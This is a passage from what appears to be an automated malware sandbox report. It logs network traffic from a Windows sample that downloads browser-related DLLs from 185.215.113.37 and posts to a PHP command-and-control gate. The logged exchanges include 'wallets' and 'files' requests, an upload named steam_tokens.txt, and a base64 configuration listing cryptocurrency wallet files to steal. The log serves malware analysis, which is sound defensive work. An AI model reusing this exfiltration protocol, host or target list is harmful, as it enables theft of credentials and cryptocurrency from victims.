mode.$PEL4c"!4p@AHSxFP/# @.text `.rdata @@.data<F0@.00cfg@@.rsrcx@@.reloc#$"@B
Oct 21, 2024 09:06:18.362263918 CEST	93	OUT	GET /0d60be0de163924d/mozglue.dll HTTP/1.1 Host: 185.215.113.37 Cache-Control: no-cache
Oct 21, 2024 09:06:18.643003941 CEST	1236	IN	HTTP/1.1 200 OK Date: Mon, 21 Oct 2024 07:06:18 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "94750-5e7e950876500" Accept-Ranges: bytes Content-Length: 608080 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!^j@A`W, P/0AShZ.texta `.rdata@@.dataD@.00cfg@@.tls@.rsrc @@.relocA0B@B
Oct 21, 2024 09:06:19.407358885 CEST	94	OUT	GET /0d60be0de163924d/msvcp140.dll HTTP/1.1 Host: 185.215.113.37 Cache-Control: no-cache
Oct 21, 2024 09:06:19.688373089 CEST	1236	IN	HTTP/1.1 200 OK Date: Mon, 21 Oct 2024 07:06:19 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "6dde8-5e7e950876500" Accept-Ranges: bytes Content-Length: 450024 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$1C___)n__^"_^_\_[_Z____]_Rich_PEL0]"!(`@,@AgrA=`x8w@pc@.text&( `.dataH)@,@.idatapD@@.didat4X@.rsrcZ@@.reloc=>^@B
Oct 21, 2024 09:06:20.096237898 CEST	90	OUT	GET /0d60be0de163924d/nss3.dll HTTP/1.1 Host: 185.215.113.37 Cache-Control: no-cache
Oct 21, 2024 09:06:20.376797915 CEST	1236	IN	HTTP/1.1 200 OK Date: Mon, 21 Oct 2024 07:06:20 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "1f3950-5e7e950876500" Accept-Ranges: bytes Content-Length: 2046288 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!.`pl- @A&@PxP/`\\|\&@.text `.rdatal@@.dataDR.@.00cfg@@@.rsrcxP@@.reloc\`@B
Oct 21, 2024 09:06:21.804451942 CEST	94	OUT	GET /0d60be0de163924d/softokn3.dll HTTP/1.1 Host: 185.215.113.37 Cache-Control: no-cache
Oct 21, 2024 09:06:22.085139036 CEST	1236	IN	HTTP/1.1 200 OK Date: Mon, 21 Oct 2024 07:06:21 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "3ef50-5e7e950876500" Accept-Ranges: bytes Content-Length: 257872 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!PSg@ADvSwP/58q{.text& `.rdata@@.data\|@.00cfg@@.rsrc@@.reloc56@B
Oct 21, 2024 09:06:22.241174936 CEST	98	OUT	GET /0d60be0de163924d/vcruntime140.dll HTTP/1.1 Host: 185.215.113.37 Cache-Control: no-cache
Oct 21, 2024 09:06:22.521697998 CEST	1236	IN	HTTP/1.1 200 OK Date: Mon, 21 Oct 2024 07:06:22 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "13bf0-5e7e950876500" Accept-Ranges: bytes Content-Length: 80880 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$08euRichPEL\|0]"!0m@AA 8 @.text `.data@.idata@@.rsrc@@.reloc @B
Oct 21, 2024 09:06:23.211524010 CEST	202	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EGDAEBGIDBGHIECBGHJD Host: 185.215.113.37 Content-Length: 1067 Connection: Keep-Alive Cache-Control: no-cache
Oct 21, 2024 09:06:23.997240067 CEST	202	IN	HTTP/1.1 200 OK Date: Mon, 21 Oct 2024 07:06:23 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=83 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 21, 2024 09:06:24.036577940 CEST	468	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DAEGIIECGHCBFHJKEHDB Host: 185.215.113.37 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 41 45 47 49 49 45 43 47 48 43 42 46 48 4a 4b 45 48 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 66 61 36 33 35 61 32 38 63 64 32 36 61 37 64 36 66 62 35 61 63 32 36 62 35 63 64 39 33 62 36 37 62 62 64 33 39 65 38 65 64 65 37 39 65 66 37 35 32 32 61 64 32 62 32 65 65 66 65 65 30 34 36 36 30 34 62 39 39 38 33 0d 0a 2d 2d 2d 2d 2d 2d 44 41 45 47 49 49 45 43 47 48 43 42 46 48 4a 4b 45 48 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 44 41 45 47 49 49 45 43 47 48 43 42 46 48 4a 4b 45 48 44 42 2d 2d 0d 0a Data Ascii: ------DAEGIIECGHCBFHJKEHDBContent-Disposition: form-data; name="token"2fa635a28cd26a7d6fb5ac26b5cd93b67bbd39e8ede79ef7522ad2b2eefee046604b9983------DAEGIIECGHCBFHJKEHDBContent-Disposition: form-data; name="message"wallets------DAEGIIECGHCBFHJKEHDB--
Oct 21, 2024 09:06:24.319793940 CEST	1236	IN	HTTP/1.1 200 OK Date: Mon, 21 Oct 2024 07:06:24 GMT Server: Apache/2.4.52 (Ubuntu) Vary: Accept-Encoding Content-Length: 2408 Keep-Alive: timeout=5, max=82 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 51 6d 6c 30 59 32 39 70 62 69 42 44 62 33 4a 6c 66 44 46 38 58 45 4a 70 64 47 4e 76 61 57 35 63 64 32 46 73 62 47 56 30 63 31 78 38 64 32 46 73 62 47 56 30 4c 6d 52 68 64 48 77 78 66 45 4a 70 64 47 4e 76 61 57 34 67 51 32 39 79 5a 53 42 50 62 47 52 38 4d 58 78 63 51 6d 6c 30 59 32 39 70 62 6c 78 38 4b 6e 64 68 62 47 78 6c 64 43 6f 75 5a 47 46 30 66 44 42 38 52 47 39 6e 5a 57 4e 76 61 57 35 38 4d 58 78 63 52 47 39 6e 5a 57 4e 76 61 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 46 4a 68 64 6d 56 75 49 45 4e 76 63 6d 56 38 4d 58 78 63 55 6d 46 32 5a 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 45 52 68 5a 57 52 68 62 48 56 7a 49 45 31 68 61 57 35 75 5a 58 52 38 4d 58 78 63 52 47 46 6c 5a 47 46 73 64 58 4d 67 54 57 46 70 62 6d 35 6c 64 46 78 33 59 57 78 73 5a 58 52 7a 58 48 78 7a 61 47 55 71 4c 6e 4e 78 62 47 6c 30 5a 58 77 77 66 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 46 74 49 45 64 79 5a 57 56 75 66 44 46 38 58 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 [TRUNCATED] Data Ascii: Qml0Y29pbiBDb3JlfDF8XEJpdGNvaW5cd2FsbGV0c1x8d2FsbGV0LmRhdHwxfEJpdGNvaW4gQ29yZSBPbGR8MXxcQml0Y29pblx8KndhbGxldCouZGF0fDB8RG9nZWNvaW58MXxcRG9nZWNvaW5cfCp3YWxsZXQqLmRhdHwwfFJhdmVuIENvcmV8MXxcUmF2ZW5cfCp3YWxsZXQqLmRhdHwwfERhZWRhbHVzIE1haW5uZXR8MXxcRGFlZGFsdXMgTWFpbm5ldFx3YWxsZXRzXHxzaGUqLnNxbGl0ZXwwfEJsb2Nrc3RyZWFtIEdyZWVufDF8XEJsb2Nrc3RyZWFtXEdyZWVuXHdhbGxldHNcfCouKnwxfFdhc2FiaSBXYWxsZXR8MXxcV2FsbGV0V2FzYWJpXENsaWVudFxXYWxsZXRzXHwqLmpzb258MHxFdGhlcmV1bXwxfFxFdGhlcmV1bVx8a2V5c3RvcmV8MHxFbGVjdHJ1bXwxfFxFbGVjdHJ1bVx3YWxsZXRzXHwqLip8MHxFbGVjdHJ1bUxUQ3wxfFxFbGVjdHJ1bS1MVENcd2FsbGV0c1x8Ki4qfDB8RXhvZHVzfDF8XEV4b2R1c1x8ZXhvZHVzLmNvbmYuanNvbnwwfEV4b2R1c3wxfFxFeG9kdXNcfHdpbmRvdy1zdGF0ZS5qc29ufDB8RXhvZHVzXGV4b2R1cy53YWxsZXR8MXxcRXhvZHVzXGV4b2R1cy53YWxsZXRcfHBhc3NwaHJhc2UuanNvbnwwfEV4b2R1c1xleG9kdXMud2FsbGV0fDF8XEV4b2R1c1xleG9kdXMud2FsbGV0XHxzZWVkLnNlY298MHxFeG9kdXNcZXhvZHVzLndhbGxldHwxfFxFeG9kdXNcZXhvZHVzLndhbGxldFx8aW5mby5zZWNvfDB8RWxlY3Ryb24gQ2FzaHwxfFxFbGVjdHJvbkNhc2hcd2FsbGV0c1x8Ki4qfDB8TXVsdGlEb2dlfDF8
Oct 21, 2024 09:06:24.322961092 CEST	466	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DGCAAAFCBFBAKFHJDBKJ Host: 185.215.113.37 Content-Length: 265 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 47 43 41 41 41 46 43 42 46 42 41 4b 46 48 4a 44 42 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 66 61 36 33 35 61 32 38 63 64 32 36 61 37 64 36 66 62 35 61 63 32 36 62 35 63 64 39 33 62 36 37 62 62 64 33 39 65 38 65 64 65 37 39 65 66 37 35 32 32 61 64 32 62 32 65 65 66 65 65 30 34 36 36 30 34 62 39 39 38 33 0d 0a 2d 2d 2d 2d 2d 2d 44 47 43 41 41 41 46 43 42 46 42 41 4b 46 48 4a 44 42 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 44 47 43 41 41 41 46 43 42 46 42 41 4b 46 48 4a 44 42 4b 4a 2d 2d 0d 0a Data Ascii: ------DGCAAAFCBFBAKFHJDBKJContent-Disposition: form-data; name="token"2fa635a28cd26a7d6fb5ac26b5cd93b67bbd39e8ede79ef7522ad2b2eefee046604b9983------DGCAAAFCBFBAKFHJDBKJContent-Disposition: form-data; name="message"files------DGCAAAFCBFBAKFHJDBKJ--
Oct 21, 2024 09:06:24.605983019 CEST	202	IN	HTTP/1.1 200 OK Date: Mon, 21 Oct 2024 07:06:24 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=81 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 21, 2024 09:06:24.624794960 CEST	564	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DGDBAKKJKKECGDGCAECA Host: 185.215.113.37 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 47 44 42 41 4b 4b 4a 4b 4b 45 43 47 44 47 43 41 45 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 66 61 36 33 35 61 32 38 63 64 32 36 61 37 64 36 66 62 35 61 63 32 36 62 35 63 64 39 33 62 36 37 62 62 64 33 39 65 38 65 64 65 37 39 65 66 37 35 32 32 61 64 32 62 32 65 65 66 65 65 30 34 36 36 30 34 62 39 39 38 33 0d 0a 2d 2d 2d 2d 2d 2d 44 47 44 42 41 4b 4b 4a 4b 4b 45 43 47 44 47 43 41 45 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 44 47 44 42 41 4b 4b 4a 4b 4b 45 43 47 44 47 43 41 45 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------DGDBAKKJKKECGDGCAECAContent-Disposition: form-data; name="token"2fa635a28cd26a7d6fb5ac26b5cd93b67bbd39e8ede79ef7522ad2b2eefee046604b9983------DGDBAKKJKKECGDGCAECAContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------DGDBAKKJKKECGDGCAECAContent-Disposition: form-data; name="file"------DGDBAKKJKKECGDGCAECA--
Oct 21, 2024 09:06:25.407510042 CEST	202	IN	HTTP/1.1 200 OK Date: Mon, 21 Oct 2024 07:06:24 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=80 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 21, 2024 09:06:25.432228088 CEST	473	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BAAAKJDAAFBAAKEBAAKF Host: 185.215.113.37 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 41 41 41 4b 4a 44 41 41 46 42 41 41 4b 45 42 41 41 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 66 61 36 33 35 61 32 38 63 64 32 36 61 37 64 36 66 62 35 61 63 32 36 62 35 63 64 39 33 62 36 37 62 62 64 33 39 65 38 65 64 65 37 39 65 66 37 35 32 32 61 64 32 62 32 65 65 66 65 65 30 34 36 36 30 34 62 39 39 38 33 0d 0a 2d 2d 2d 2d 2d 2d 42 41 41 41 4b 4a 44 41 41 46 42 41 41 4b 45 42 41 41 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 42 41 41 41 4b 4a 44 41 41 46 42 41 41 4b 45 42 41 41 4b 46 2d 2d 0d 0a Data Ascii: ------BAAAKJDAAFBAAKEBAAKFContent-Disposition: form-data; name="token"2fa635a28cd26a7d6fb5ac26b5cd93b67bbd39e8ede79ef7522ad2b2eefee046604b9983------BAAAKJDAAFBAAKEBAAKFContent-Disposition: form-data; name="message"ybncbhylepme------BAAAKJDAAFBAAKEBAAKF--
Oct 21, 2024 09:06:25.731015921 CEST	1236	IN	HTTP/1.1 200 OK Date: Mon, 21 Oct 2024 07:06:25 GMT Server: Apache/2.4.52 (Ubuntu) Vary: Accept-Encoding Content-Length: 4736 Keep-Alive: timeout=5, max=79 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 2a 2e 70 6c 3c 62 72 3e 20 31 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 73 75 70 70 6f 72 74 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 0a 73 75 70 70 6f 72 74 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 0a 73 75 70 70 6f 72 74 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 0a 73 75 70 70 6f 72 74 2e 6f 66 66 69 63 65 2e 63 6f 6d 0a 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 0a 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 0a 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 0a 73 75 70 70 6f 72 74 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 0a 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 0a 2e 63 31 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 0a 73 75 70 70 6f 72 74 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 0a 2e 63 2e 62 69 6e 67 2e 63 6f 6d 0a 2e 63 31 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 0a 2e 62 69 6e 67 2e 63 6f 6d 0a 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 0a 73 75 70 70 6f 72 74 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 0a 2e 63 2e 62 69 6e 67 2e 63 6f 6d 0a 2e 63 2e 62 69 6e 67 2e 63 6f 6d 0a 2e 63 31 2e 6d 69 63 72 [TRUNCATED] Data Ascii: .pl<br> 1.google.comsupport.microsoft.comsupport.microsoft.comsupport.microsoft.comsupport.office.com.microsoft.com.microsoft.com.microsoft.comsupport.microsoft.com.microsoft.com.c1.microsoft.comsupport.microsoft.com.c.bing.com.c1.microsoft.com.bing.com.microsoft.comsupport.microsoft.com.c.bing.com.c.bing.com.c1.microsoft.comlogin.microsoftonline.comsupport.microsoft.com.microsoft.comlogin.microsoftonline.com.google.com<br>.ar<br> 1.google.comsupport.microsoft.comsupport.microsoft.comsupport.microsoft.comsupport.office.com.microsoft.com.microsoft.com.microsoft.comsupport.microsoft.com.microsoft.com.c1.microsoft.comsupport.microsoft.com.c.bing.com.c1.microsoft.com.bing.com.microsoft.comsupport.microsoft.com.c.bing.com.c.bing.com.c1.microsoft.comlogin.microsoftonline.comsupport.microsoft.com.microsoft.comlogin.microsoftonline.com.google.com<br>*.br<br> 1.google.comsupport.microsoft.comsupport.microsoft.comsupport.microsoft.comsupport.offi
Oct 21, 2024 09:06:25.732784986 CEST	473	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KJDGIJECFIEBFIDHCGHD Host: 185.215.113.37 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 4a 44 47 49 4a 45 43 46 49 45 42 46 49 44 48 43 47 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 66 61 36 33 35 61 32 38 63 64 32 36 61 37 64 36 66 62 35 61 63 32 36 62 35 63 64 39 33 62 36 37 62 62 64 33 39 65 38 65 64 65 37 39 65 66 37 35 32 32 61 64 32 62 32 65 65 66 65 65 30 34 36 36 30 34 62 39 39 38 33 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 44 47 49 4a 45 43 46 49 45 42 46 49 44 48 43 47 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 44 47 49 4a 45 43 46 49 45 42 46 49 44 48 43 47 48 44 2d 2d 0d 0a Data Ascii: ------KJDGIJECFIEBFIDHCGHDContent-Disposition: form-data; name="token"2fa635a28cd26a7d6fb5ac26b5cd93b67bbd39e8ede79ef7522ad2b2eefee046604b9983------KJDGIJECFIEBFIDHCGHDContent-Disposition: form-data; name="message"wkkjqaiaxkhb------KJDGIJECFIEBFIDHCGHD--
Oct 21, 2024 09:06:26.516623974 CEST	202	IN	HTTP/1.1 200 OK Date: Mon, 21 Oct 2024 07:06:25 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=78 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Target ID:	0
Start time:	03:05:59
Start date:	21/10/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0x1000000
File size:	1'867'776 bytes
MD5 hash:	17BDF25C7E2BF9713C7DF0933069DB44
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
